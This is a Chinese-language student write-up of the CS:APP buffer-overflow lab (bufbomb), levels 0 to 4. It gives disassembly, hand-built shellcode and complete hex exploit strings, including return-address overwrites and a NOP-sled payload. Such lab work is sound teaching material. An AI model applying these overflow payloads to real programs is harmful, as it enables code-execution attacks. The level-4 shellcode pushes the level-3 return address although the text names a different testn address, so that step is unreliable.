-
- 任务概要
BUFBOMB program读取输入用下面的函数
Gets: 输入恶意的长字符。突破Gets的栈帧,控制覆盖getbuf的栈帧,完成攻击。 | ![]() |
HEX2RAW:
它能将十六进制格式的字符串转换为原始二进制格式。在输入给HEX2RAW的数据中,每个字节值由两个十六进制数字表示,字节之间用空白(空格或换行符)分隔,允许使用的注释格式为:/* 注释内容 */
注意事项:
字符串中间不包含0x0A(换行符) ; 确保每个十六进制值都是两位数,且之间有空白分隔。
测试命令:cat leverx.txt | ./hex2raw | ./bufbomb -u xxxxxxx
在32位ubuntu系统下反汇编得到汇编代码文件,在WSL进行调试分析如下文。
利用makecookie生成我的cookie:0x206b4e28
-
- lever0 - Candle 蜡烛
lever要求:
让BUFBOMB在getbuf执行其返回语句时执行smoke的代码,而不是返回到test。请注意,您的漏洞利用字符串也可能破坏与此阶段不直接相关的堆栈部分,但这不会导致问题,因为smoke会导致程序直接退出。
lever分析:
查看getbuf获取缓冲区大小:
- 08049262 <getbuf>:
- 8049262: 55 push %ebp
- 8049263: 89 e5 mov %esp,%ebp
- 8049265: 83 ec 38 sub $0x38,%esp
- 8049268: 8d 45 d8 lea -0x28(%ebp),%eax
- #说明缓冲区大小是0x28 40字节
- ……
查看反汇编文件中smoke位置,得到smoke入口:0x08048e0a
smoke的入口地址是08048e0a,但字符串中间不应出现0a,考虑从0b进入,跳过push %ebp,用40个字符填满缓冲区,再用4个字符覆盖old ebp 然后四个字符覆盖返回地址,用小端法是 0b 8e 04 08 | ![]() |
得到结果:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0b 8e 04 08
-
- lever1 - Sparkler 火花
lever要求:
调用fizz,但这次需要修改fizz的参数val为cookie:0x206b4e28
lever分析:
- 08048daf <fizz>:
- 8048daf: 55 push %ebp
- 8048db0: 89 e5 mov %esp,%ebp
- 8048db2: 83 ec 18 sub $0x18,%esp
- 8048db5: 8b 45 08 mov 0x8(%ebp),%eax
- 8048db8: 3b 05 04 d1 04 08 cmp 0x804d104,%eax
- # 0x8(%ebp)放的就是val,需要修改为我的cookie
- ……
在lever0的基础上,需要修改fizz的ebp+8的参数val
分析可知,fizz对应的ebp是getbuf ebp+4,即fizz的ebp+8的参数val在缓冲区溢出构造时的ebp+12。
得到结果:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 af 8d 04 08 00 00 00 00 28 4e 6b 20
-
- lever2 - Firecracker 爆竹
lever要求:
调用bang,但是在此之前将global_value设置为userid的cookie
lever分析:
需要找到global_value的存放地址,并通过漏洞利用代码:提供一个编码实际机器指令的字符串。然后利用字符串用堆栈上这些指令的起始地址覆盖返回指针。当调用函数(在本例中为getbuf)执行其ret指令时,程序将开始执行堆栈上的指令,而不是返回。
分析bang:
- 08048d52 <bang>:
- 8048d52: 55 push %ebp
- 8048d53: 89 e5 mov %esp,%ebp
- 8048d55: 83 ec 18 sub $0x18,%esp
- 8048d58: a1 0c d1 04 08 mov 0x804d10c,%eax
- 8048d5d: 3b 05 04 d1 04 08 cmp 0x804d104,%eax
- #看出0x804d10c就是global_val的存放地址
构造恶意指令:需要将cookie传入global_val,然后调用bang,由于call时自动对齐与开辟栈帧分析困难,需要考虑使用其他的调用方式。
构造返回地址:使用GDB得到ebp-0x28,即缓冲区开始位置的地址用于返回地址,以便执行恶意指令。返回地址为:0x556831c8
方法一:利用push ret
push 需要的返回地址并通过ret将其存入eip实现返回地址修改
- 00000000 <.text>:
- 0: b8 28 4e 6b 20 mov $0x206b4e28,%eax
- 5: b9 0c d1 04 08 mov $0x804d10c,%ecx
- a: 89 01 mov %eax,(%ecx)
- c: 68 52 8d 04 08 push $0x8048d52
- 11: c3 ret
得到结果:
b8 28 4e 6b 20 b9 0c d1 04 08 89 01 68 52 8d 04 08 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 31 68 55
方法二:利用jmp
因为jmp直接跳转时采用偏移跳转,难以构造,考虑使用jmp *进行间接跳转:
- 00000000 <.text>:
- 0: b8 28 4e 6b 20 mov $0x206b4e28,%eax
- 5: b9 0c d1 04 08 mov $0x804d10c,%ecx
- a: ba 52 8d 04 08 mov $0x8048d52,%edx
- f: 89 01 mov %eax,(%ecx)
- 11: ff e2 jmp *%edx
得到结果:
b8 28 4e 6b 20 b9 0c d1 04 08 ba 52 8d 04 08 89 01 ff e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 31 68 55
-
- lever3 - Dynamite 炸药
lever要求:
更加隐蔽——让getbuf返回cookie,而不是返回正常执行的0x1,同时需要返回test
lever分析:
观察getbuf发现eax储存返回值,需要修改eax的值为cookie 0x206b4e28同时正常返回test
查找返回地址:
- 08048e3c <test>:
- 8048e3c: 55 push %ebp
- 8048e3d: 89 e5 mov %esp,%ebp
- 8048e3f: 53 push %ebx
- 8048e40: 83 ec 24 sub $0x24,%esp
- 8048e43: e8 d0 fd ff ff call 8048c18 <uniqueval>
- 8048e48: 89 45 f4 mov %eax,-0xc(%ebp)
- 8048e4b: e8 12 04 00 00 call 8049262 <getbuf>
- 8048e50: 89 c3 mov %eax,%ebx
- #0x8048e50即 lever3需要的返回地址
- ……
构造恶意指令:
- 00000000 <.text>:
- 0: b8 28 4e 6b 20 mov $0x206b4e28,%eax
- 5: 68 50 8e 04 08 push $0x8048e50
- a: c3 ret
恢复old ebp:
为正常返回放回test栈帧,利用GDB查看在getbuf栈帧时ebp指向的值,找到old ebp 的值:0x55683220
分析栈帧:
得到结果:
b8 28 4e 6b 20 68 50 8e 04 08 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 32 68 55 c8 31 68 55
-
- lever4 - Nitroglycerin 硝酸甘油
lever要求:
用-n标志来运行BUFBOMB program,调用testn,其将会调用getbufn五次,拥有520字节缓冲区,每次都有不同的栈帧偏移量,需要这五次均返回cookie,且最后需要恢复到testn。
lever分析:
单次调用时解题思路与lever3无异,但这里存在五次调用,拥有不同栈帧。
获取恶意指令起始位置:
由于每次的栈帧位置不同,得将恶意汇编放在靠后的位置,前面通过nop指令(不执行任何操作,它仅仅是一个占位符指令,二进制码90)填充;
通过调试五次调用中最大的缓冲区起始地址,这样对于最大的地址从最开始执行nop,由于缓冲区足够长,将恶意指令放在最后,对应其他的四个从中间开始执行nop,他们都会在最后执行恶意指令,逻辑如下:
GDB在getbufn打断点,查看缓冲区在哪开始(p/x $ebp-0x208),得到最大的开始地址为:0x55682fe8
查找testn返回地址与获取old ebp:
这个lever3基础上,要想办法通过恶意汇编指令去获取oldebp并修改,而不是gdb调试得到唯一old ebp
- 08048cce <testn>:
- 8048cce: 55 push %ebp
- 8048ccf: 89 e5 mov %esp,%ebp
- 8048cd1: 53 push %ebx
- 8048cd2: 83 ec 24 sub $0x24,%esp
- #一个push %ebx和一个sub,说明esp+0x28就是ebp的位置
- 8048cd5: e8 3e ff ff ff call 8048c18 <uniqueval>
- 8048cda: 89 45 f4 mov %eax,-0xc(%ebp)
- 8048cdd: e8 62 05 00 00 call 8049244 <getbufn>
- 8048ce2: 89 c3 mov %eax,%ebx
- #testn的返回地址是0x8048ce2
- ……
在testn调用了getbufn返回后(getbufn栈帧关闭,testn栈帧恢复),esp的位置是不变的(尽管每次getbufn的栈帧不同)在恶意指令中,通过获取esp+0x28得到ebp,如此完成了恢复ebp。
恶意指令如下:
- 00000000 <.text>:
- 0: b8 28 4e 6b 20 mov $0x206b4e28,%eax #eax放cookie
- 5: 8d 6c 24 28 lea 0x28(%esp),%ebp #利用esp恢复ebp
- 9: 68 50 8e 04 08 push $0x8048e50
- e: c3 ret #让eip指向testn返回地址
栈帧逻辑如下:
得到结果:
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 b8 28 4e 6b 20 8d 6c 24 28 68 50 8e 04 08 c3
00 00 00 00 e8 2f 68 55